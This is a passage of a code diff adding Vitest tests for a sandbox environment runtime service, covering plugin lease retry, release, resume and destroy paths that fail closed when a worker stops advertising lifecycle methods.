+      name: environment.name,
+      config: pluginConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Sandbox Provider",
+        description: "Test fake plugin provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Retry Plugin",
+      issuePrefix: "OTG",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The first destroy fails, so the acquire records a pending-cleanup orphan.
+    // The sweep retries the destroy, which succeeds this time.
+    let destroyAttempts = 0;
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentDestroyLease"] })),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "plugin-lease-3",
+            metadata: { provider: "fake-plugin", image: "fake:test", reuseLease: false },
+          };
+        }
+        if (method === "environmentDestroyLease") {
+          destroyAttempts += 1;
+          if (destroyAttempts === 1) {
+            throw new Error("destroy failed");
+          }
+          return {};
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    await expect(
+      runtimeWithPlugin.acquireRunLease({
+        companyId,
+        environment,
+        issueId: null,
+        heartbeatRunId: runId,
+        persistedExecutionWorkspace: null,
+        assertCompanyBinding: true,
+      }),
+    ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+    const orphan = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.environmentId, environment.id))
+      .then((r) => r[0]!);
+    expect(orphan.status).toBe("pending_cleanup");
+    expect(orphan.providerLeaseId).toBe("plugin-lease-3");
+
+    const lease = await environmentService(db).getLeaseById(orphan.id);
+    await runtimeWithPlugin.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+    expect(destroyAttempts).toBe(2);
+    const destroyCall = (workerManager.call as unknown as ReturnType<typeof vi.fn>).mock.calls
+      .filter((callArgs) => callArgs[1] === "environmentDestroyLease")
+      .at(-1);
+    expect(destroyCall?.[2]).toMatchObject({ providerLeaseId: "plugin-lease-3" });
+
+    await environmentService(db).update(environment.id, { driver: "local", config: {} });
+  });
+
   it("uses plugin-backed sandbox config for execute and release", async () => {
     const pluginId = randomUUID();
     const { companyId, environment: baseEnvironment, runId } = await seedEnvironment();
@@ -673,6 +2982,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -799,6 +3109,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -871,6 +3182,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -919,6 +3231,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -994,6 +3307,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -1107,6 +3421,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -1352,6 +3667,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -1555,6 +3871,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: workerManager,
@@ -1631,6 +3948,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
       call: vi.fn(async (_pluginId: string, method: string) => {
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: workerManager,
@@ -1730,6 +4048,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, {
       pluginWorkerManager: workerManager,
@@ -1818,6 +4137,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -1984,6 +4304,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2025,6 +4346,376 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     });
   });
 
+  it("fails closed and does not resume when a worker restart drops the resume method after the capability snapshot", async () => {
+    const pluginId = randomUUID();
+    const { companyId, agentId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const providerConfig = {
+      provider: "fake-plugin",
+      image: "fake:test",
+      timeoutMs: 1234,
+      reuseLease: true,
+    };
+    const environment = {
+      ...baseEnvironment,
+      name: "Reusable Plugin Sandbox",
+      driver: "sandbox",
+      config: providerConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: providerConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "acme.fake-sandbox-provider",
+      packageName: "@acme/fake-sandbox-provider",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.fake-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Sandbox Provider",
+        description: "Test schema-driven provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            supportsReusableLeases: true,
+            configSchema: {
+              type: "object",
+              properties: {
+                image: { type: "string" },
+                timeoutMs: { type: "number" },
+                reuseLease: { type: "boolean" },
+              },
+            },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const executionWorkspaceId = randomUUID();
+    const projectId = randomUUID();
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: `Workspace ${projectId.slice(0, 8)}`,
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "project_primary",
+      name: "Reusable workspace",
+      status: "active",
+      providerType: "local_fs",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    const staleLease = await environmentService(db).acquireLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId,
+      heartbeatRunId: runId,
+      leasePolicy: "reuse_by_environment",
+      provider: "fake-plugin",
+      providerLeaseId: "stale-plugin-lease",
+      metadata: {
+        agentId,
+        driver: "sandbox",
+        pluginId,
+        pluginKey: "acme.fake-sandbox-provider",
+        sandboxProviderPlugin: true,
+        provider: "fake-plugin",
+        image: "fake:test",
+        timeoutMs: 1234,
+        reuseLease: true,
+        reusableSandboxLease: {
+          version: 1,
+          companyId,
+          environmentId: environment.id,
+          executionWorkspaceId,
+          agentId,
+          adapterType: null,
+          provider: "fake-plugin",
+          runtimeFingerprint: reusableRuntimeFingerprint({
+            provider: "fake-plugin",
+            adapterType: null,
+            config: providerConfig,
+          }),
+        },
+      },
+    });
+
+    // The runtime reads the worker methods once to decide reuse, then does
+    // asynchronous database work before the resume dispatch. A worker restart
+    // in that window drops `environmentResumeLease`. The first read returns the
+    // reuse verbs, so the runtime treats the lease as resumable. Every later
+    // read returns the restarted worker's methods, which no longer include
+    // `environmentResumeLease`.
+    let getWorkerReads = 0;
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentResumeLease") {
+          // A regression that reads the stale snapshot dispatches the resume
+          // RPC and fails here. The live worker cannot serve the method.
+          throw new Error("worker no longer advertises environmentResumeLease");
+        }
+        if (method === "environmentDestroyLease") {
+          return undefined;
+        }
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "fresh-plugin-lease",
+            metadata: {
+              provider: "fake-plugin",
+              image: "fake:test",
+              timeoutMs: 1234,
+              reuseLease: true,
+              remoteCwd: "/workspace",
+            },
+          };
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+      getWorker: vi.fn(() => {
+        getWorkerReads += 1;
+        return {
+          supportedMethods:
+            getWorkerReads === 1
+              ? ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"]
+              : ["environmentReleaseLease", "environmentDestroyLease"],
+        };
+      }),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const acquired = await runtimeWithPlugin.acquireRunLease({
+      companyId,
+      environment,
+      issueId: null,
+      agentId,
+      heartbeatRunId: runId,
+      persistedExecutionWorkspace: {
+        id: executionWorkspaceId,
+        mode: "shared_workspace",
+      },
+    });
+
+    // The runtime re-checks the live worker before the resume dispatch. The
+    // restarted worker no longer advertises `environmentResumeLease`, so the
+    // runtime must not dispatch the resume RPC.
+    expect(workerManager.call).not.toHaveBeenCalledWith(
+      pluginId,
+      "environmentResumeLease",
+      expect.anything(),
+      expect.anything(),
+    );
+    // It destroys the stale reusable lease and acquires a fresh one.
+    expect(workerManager.call).toHaveBeenCalledWith(
+      pluginId,
+      "environmentDestroyLease",
+      expect.objectContaining({ driverKey: "fake-plugin", providerLeaseId: "stale-plugin-lease" }),
+      31234,
+    );
+    expect(workerManager.call).toHaveBeenCalledWith(
+      pluginId,
+      "environmentAcquireLease",
+      expect.objectContaining({ driverKey: "fake-plugin", agentId, executionWorkspaceId, runId }),
+      31234,
+    );
+    expect(acquired.lease.providerLeaseId).toBe("fresh-plugin-lease");
+    await expect(environmentService(db).getLeaseById(staleLease.id)).resolves.toMatchObject({
+      status: "expired",
+      cleanupStatus: "success",
+    });
+  });
+
+  // Seed a reusable plugin sandbox lease that a worker created under an earlier
+  // capability set. The worker restarts and no longer advertises the lifecycle
+  // methods. The lease lifecycle paths must verify the live worker before they
+  // dispatch a lifecycle RPC, so the runtime fails closed instead of a doomed
+  // dispatch.
+  async function seedStaleLifecycleReusableLease(
+    leasePolicy: "reuse_by_environment" | "retain_on_failure" = "reuse_by_environment",
+  ) {
+    const pluginId = randomUUID();
+    const { companyId, agentId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const providerConfig = {
+      provider: "fake-plugin",
+      image: "fake:test",
+      timeoutMs: 1234,
+      reuseLease: true,
+    };
+    const environment = {
+      ...baseEnvironment,
+      name: "Reusable Plugin Sandbox",
+      driver: "sandbox",
+      config: providerConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: providerConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "acme.fake-sandbox-provider",
+      packageName: "@acme/fake-sandbox-provider",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.fake-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Sandbox Provider",
+        description: "Test schema-driven provider",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            supportsReusableLeases: true,
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const executionWorkspaceId = randomUUID();
+    const projectId = randomUUID();
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: `Workspace ${projectId.slice(0, 8)}`,
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "project_primary",
+      name: "Reusable workspace",
+      status: "active",
+      providerType: "local_fs",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    const lease = await environmentService(db).acquireLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId,
+      heartbeatRunId: runId,
+      leasePolicy,
+      provider: "fake-plugin",
+      providerLeaseId: "stale-lifecycle-lease",
+      metadata: {
+        agentId,
+        driver: "sandbox",
+        pluginId,
+        pluginKey: "acme.fake-sandbox-provider",
+        sandboxProviderPlugin: true,
+        provider: "fake-plugin",
+        image: "fake:test",
+        timeoutMs: 1234,
+        reuseLease: true,
+      },
+    });
+
+    // The worker is running, but its discovery list dropped the reusable-lease
+    // lifecycle methods. `call` throws on any lifecycle RPC so a regression that
+    // dispatches one fails the test through the `not.toHaveBeenCalledWith` check.
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentAcquireLease", "environmentExecute"] })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    return { pluginId, environment, runId, lease, workerManager, runtimeWithPlugin };
+  }
+
+  it("routes release to pending_cleanup when the worker no longer advertises the release lifecycle method", async () => {
+    const { pluginId, lease, workerManager, runtimeWithPlugin } = await seedStaleLifecycleReusableLease();
+
+    const released = await runtimeWithPlugin.releaseRunLeases(lease.heartbeatRunId!);
+
+    expect(released).toHaveLength(1);
+    expect(workerManager.call).not.toHaveBeenCalledWith(
+      pluginId,
+      "environmentReleaseLease",
+      expect.anything(),
+      expect.anything(),
+    );
+    // The failed release verification must enter the pending-cleanup retry flow.
+    // The reaper sweeps only `pending_cleanup` leases, so a `released` status
+    // here would strand the still-active provider resource.
+    await expect(environmentService(db).getLeaseById(lease.id)).resolves.toMatchObject({
+      status: "pending_cleanup",
+      cleanupStatus: "failed",
+      failureReason: "release_cleanup_failed",
+    });
+  });
+
+  it("retains a retain_on_failure lease on failed release instead of routing to pending_cleanup", async () => {
+    const { lease, runtimeWithPlugin } = await seedStaleLifecycleReusableLease("retain_on_failure");
+
+    const released = await runtimeWithPlugin.releaseRunLeases(lease.heartbeatRunId!, "failed");
+
+    expect(released).toHaveLength(1);
+    // A retain_on_failure lease keeps the provider resource for reuse. The
+    // reaper destroys `pending_cleanup` leases, so the retained lease must not
+    // enter that flow even when the release verification fails.
+    await expect(environmentService(db).getLeaseById(lease.id)).resolves.toMatchObject({
+      status: "retained",
+      cleanupStatus: "failed",
+    });
+  });
+
+  it("fails closed on expiry destruction when the worker no longer advertises the destroy lifecycle method", async () => {
+    const { pluginId, lease, workerManager, runtimeWithPlugin } = await seedStaleLifecycleReusableLease();
+
+    await runtimeWithPlugin.releaseRunLeases(lease.heartbeatRunId!, "expired");
+
+    expect(workerManager.call).not.toHaveBeenCalledWith(
+      pluginId,
+      "environmentDestroyLease",
+      expect.anything(),
+      expect.anything(),
+    );
+    await expect(environmentService(db).getLeaseById(lease.id)).resolves.toMatchObject({
+      status: "pending_cleanup",
+      cleanupStatus: "failed",
+    });
+  });
+
   it("does not resume released reusable plugin sandbox leases after provider config drift", async () => {
     const pluginId = randomUUID();
     const { companyId, agentId, environment: baseEnvironment, runId } = await seedEnvironment();
@@ -2126,6 +4817,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2315,6 +5007,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2404,6 +5097,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2552,6 +5246,7 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
         }
         throw new Error(`Unexpected plugin method: ${method}`);
       }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
     } as unknown as PluginWorkerManager;
     const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
 
@@ -2573,6 +5268,336 @@ describeEmbeddedPostgres("environmentRuntimeService", () => {
     expect(workerManager.call).toHaveBeenCalledWith(pluginId, "environmentAcquireLease", expect.anything(), 31234);
   });
 
+  it("does not resume a lease when the nested capability disables reusable leases", async () => {
+    // The provider declares the legacy `supportsReusableLeases: true` flag but
+    // the nested `sandboxCapabilities.reusableLeases: false`. The nested value
+    // wins through the capability contract, so acquisition must acquire a fresh
+    // lease and must never resume the existing reusable lease.
+    const pluginId = randomUUID();
+    const { companyId, agentId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const providerConfig = {
+      provider: "fake-plugin",
+      image: "fake:test",
+      timeoutMs: 1234,
+      reuseLease: true,
+    };
+    const environment = {
+      ...baseEnvironment,
+      name: "Nested-disabled Plugin Sandbox",
+      driver: "sandbox",
+      config: providerConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: providerConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "acme.nested-disabled-sandbox-provider",
+      packageName: "@acme/nested-disabled-sandbox-provider",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.nested-disabled-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Nested-disabled Sandbox Provider",
+        description: "Test provider with a legacy flag and a disabled nested capability",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            supportsReusableLeases: true,
+            sandboxCapabilities: { reusableLeases: false },
+            configSchema: {
+              type: "object",
+              properties: {
+                image: { type: "string" },
+                timeoutMs: { type: "number" },
+                reuseLease: { type: "boolean" },
+              },
+            },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const executionWorkspaceId = randomUUID();
+    const projectId = randomUUID();
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: `Workspace ${projectId.slice(0, 8)}`,
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "project_primary",
+      name: "Nested-disabled workspace",
+      status: "active",
+      providerType: "local_fs",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await environmentService(db).acquireLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId,
+      heartbeatRunId: runId,
+      leasePolicy: "reuse_by_environment",
+      provider: "fake-plugin",
+      providerLeaseId: "old-plugin-lease",
+      metadata: {
+        agentId,
+        provider: "fake-plugin",
+        image: "fake:test",
+        timeoutMs: 1234,
+        reuseLease: true,
+        reusableSandboxLease: {
+          version: 1,
+          companyId,
+          environmentId: environment.id,
+          executionWorkspaceId,
+          agentId,
+          adapterType: null,
+          provider: "fake-plugin",
+          runtimeFingerprint: reusableRuntimeFingerprint({
+            provider: "fake-plugin",
+            adapterType: null,
+            config: providerConfig,
+          }),
+        },
+      },
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "fresh-plugin-lease",
+            metadata: {
+              provider: "fake-plugin",
+              image: "fake:test",
+              timeoutMs: 1234,
+              reuseLease: true,
+              remoteCwd: "/workspace",
+            },
+          };
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"] })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const acquired = await runtimeWithPlugin.acquireRunLease({
+      companyId,
+      environment,
+      issueId: null,
+      agentId,
+      heartbeatRunId: runId,
+      persistedExecutionWorkspace: {
+        id: executionWorkspaceId,
+        mode: "shared_workspace",
+      },
+    });
+
+    expect(acquired.lease.providerLeaseId).toBe("fresh-plugin-lease");
+    expect(acquired.lease.leasePolicy).toBe("ephemeral");
+    expect(workerManager.call).toHaveBeenCalledTimes(1);
+    expect(workerManager.call).toHaveBeenCalledWith(pluginId, "environmentAcquireLease", expect.anything(), 31234);
+    expect(workerManager.call).not.toHaveBeenCalledWith(
+      pluginId,
+      "environmentResumeLease",
+      expect.anything(),
+      expect.anything(),
+    );
+  });
+
+  it("fails closed and does not resume when the worker does not verify the reuse methods", async () => {
+    // The provider declares `reusableLeases: true`, but its worker advertises
+    // neither `environmentResumeLease` nor `environmentReleaseLease`. The runtime
+    // must not resume or reuse the lease, because it cannot dispatch a resume or
+    // a release the worker does not serve. It acquires a fresh ephemeral lease
+    // and leaves the old reusable lease untouched.
+    const pluginId = randomUUID();
+    const { companyId, agentId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const providerConfig = {
+      provider: "fake-plugin",
+      image: "fake:test",
+      timeoutMs: 1234,
+      reuseLease: true,
+    };
+    const environment = {
+      ...baseEnvironment,
+      name: "Unverified-worker Plugin Sandbox",
+      driver: "sandbox",
+      config: providerConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      name: environment.name,
+      config: providerConfig,
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "acme.unverified-worker-sandbox-provider",
+      packageName: "@acme/unverified-worker-sandbox-provider",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "acme.unverified-worker-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Unverified-worker Sandbox Provider",
+        description: "Test provider that declares reusable leases but whose worker lacks the reuse methods",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin",
+            sandboxCapabilities: { reusableLeases: true },
+            configSchema: {
+              type: "object",
+              properties: {
+                image: { type: "string" },
+                timeoutMs: { type: "number" },
+                reuseLease: { type: "boolean" },
+              },
+            },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    const executionWorkspaceId = randomUUID();
+    const projectId = randomUUID();
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: `Workspace ${projectId.slice(0, 8)}`,
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "shared_workspace",
+      strategyType: "project_primary",
+      name: "Unverified-worker workspace",
+      status: "active",
+      providerType: "local_fs",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    const existingLease = await environmentService(db).acquireLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId,
+      heartbeatRunId: runId,
+      leasePolicy: "reuse_by_environment",
+      provider: "fake-plugin",
+      providerLeaseId: "old-plugin-lease",
+      metadata: {
+        agentId,
+        provider: "fake-plugin",
+        image: "fake:test",
+        timeoutMs: 1234,
+        reuseLease: true,
+        reusableSandboxLease: {
+          version: 1,
+          companyId,
+          environmentId: environment.id,
+          executionWorkspaceId,
+          agentId,
+          adapterType: null,
+          provider: "fake-plugin",
+          runtimeFingerprint: reusableRuntimeFingerprint({
+            provider: "fake-plugin",
+            adapterType: null,
+            config: providerConfig,
+          }),
+        },
+      },
+    });
+
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string) => {
+        if (method === "environmentAcquireLease") {
+          return {
+            providerLeaseId: "fresh-plugin-lease",
+            metadata: {
+              provider: "fake-plugin",
+              image: "fake:test",
+              timeoutMs: 1234,
+              reuseLease: true,
+              remoteCwd: "/workspace",
+            },
+          };
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+      // The worker verifies only `environmentExecute`. It advertises neither
+      // reuse verb, so the reusable-lease capability fails closed.
+      getWorker: vi.fn(() => ({ supportedMethods: ["environmentExecute"] })),
+    } as unknown as PluginWorkerManager;
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const acquired = await runtimeWithPlugin.acquireRunLease({
+      companyId,
+      environment,
+      issueId: null,
+      agentId,
+      heartbeatRunId: runId,
+      persistedExecutionWorkspace: {
+        id: executionWorkspaceId,
+        mode: "shared_workspace",
+      },
+    });
+
